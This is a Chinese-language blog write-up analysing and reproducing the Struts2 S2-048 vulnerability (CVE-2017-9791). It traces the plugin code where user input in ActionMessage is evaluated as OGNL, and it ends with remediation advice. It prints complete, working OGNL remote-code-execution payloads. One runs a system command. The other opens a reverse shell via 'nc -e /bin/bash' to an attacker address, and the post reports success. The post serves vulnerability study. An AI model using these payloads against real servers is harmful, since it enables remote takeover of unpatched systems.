漏洞代码调试(一):Strtus2-048代码分析调试-(CVE-2017-9791)

 

​Strtus2-048

 


一、漏洞描述:

 ActionMessage 并在客户前端展示,导致其进入 getText 函数,最后 message 被当作 ognl 表达式执行所以访问 /integration/saveGangster.action 构造payload。

 

二、影响版本:

Struts 2.3.x with Struts 1 plugin and Struts 1 action

 

三、漏洞复现:

S2-048漏洞问题出现在struts2-struts1-plugin-2.3.32.jar 插件,这个插件的作用是可以让struts2能够兼容struts1的代码。

struts2-struts1-plugin-2.3.32-sources.jar!/org/apache/struts2/s1/Struts1Action.java

首先调用对应的action处理请求,处理完成后会产生消息,进入了getText方法,先跟进execute方法:

Struts1Factory strutsFactory = new Struts1Factory(Dispatcher.getInstance().getConfigurationManager().getConfiguration());ActionMapping mapping = strutsFactory.createActionMapping(actionConfig);HttpServletRequest request = ServletActionContext.getRequest();HttpServletResponse response = ServletActionContext.getResponse();ActionForward forward = action.execute(mapping, this.actionForm, request, response);ActionMessages messages = (ActionMessages)request.getAttribute("org.apache.struts.action.ACTION_MESSAGE");if (messages != null) {    Iterator i = messages.get();    label36:    while(true) {        while(true) {            if (!i.hasNext()) {                break label36;            }            ActionMessage msg = (ActionMessage)i.next();            if (msg.getValues() != null && msg.getValues().length > 0) {                this.addActionMessage(this.getText(msg.getKey(), Arrays.asList(msg.getValues())));            } else {                this.addActionMessage(this.getText(msg.getKey()));            }        }    }}

找到action.execute(mapping, this.actionForm, request, response);这个action类方法的execute具体的实现代码:

进入详细的execte具体的方法代码:

public ActionForward execute(ActionMapping mapping, ActionForm form, ServletRequest request, ServletResponse response) throws Exception {    try {        return this.execute(mapping, form, (HttpServletRequest)request, (HttpServletResponse)response);    } catch (ClassCastException var6) {        return null;    }}public ActionForward execute(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {    return null;}
src/apps/showcase/src/main/java/org/apache/struts2/showcase/integration/SaveGangsterAction.java

@Overridepublic ActionForward execute(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {   // Some code to save the gangster to the db as necessary   GangsterForm gform = (GangsterForm) form;   ActionMessages messages = new ActionMessages();   messages.add("msg", new ActionMessage("Gangster " + gform.getName() + " added successfully"));   addMessages(request, messages);   return mapping.findForward("success");}

前台对应页面:

gform.getName()类似于$_POST['name'],直接将用户输入进行拼接。

struts2-struts1-plugin-2.3.32-sources.jar!/org/apache/struts2/s1/Struts1Action.java

网页执行POC

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('uname  -a').getInputStream())).(#q)}

断点调试:

具体执行的命令:

可以看到ognl表达是已经传入,接下来就是ognl的解析执行了。

执行成功:

和系统的uname -a一致

换一个方式:执行反弹shell

反弹:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('nc -e /bin/bash XX.XX.XX.XX 34567').getInputStream())).(#q)}

断点调试获取反弹的信息:

成功执行:

成功获取shell

 

四、漏洞修复:

1、临时解决方案:通过使用 resourcekeys 替代将原始消息直接传递给 ActionMessage 的方式。如下所示:

messages.add(“msg”,new ActionMessage(“struts1.gangsterAdded”, gform.getName()));

一定不要使用如下的方式

messages.add(“msg”,new ActionMessage(“Gangster ” + gform.getName() + ” was added”));

 

3、 解决方案:建议升级到最新版本。

 

 

参考:

https://seaii-blog.com/index.php/2019/12/29/90.html

https://blog.csdn.net/qq_29647709/article/details/84952381

 

 

免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

订阅查看更多复现文章、学习笔记

thelostworld

安全路上,与你并肩前行!!!!

个人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns

个人简书:https://www.jianshu.com/u/bf0e38a8d400

posted @ 2020-11-30 13:07  thelostworld  阅读(203)  评论(0编辑  收藏  举报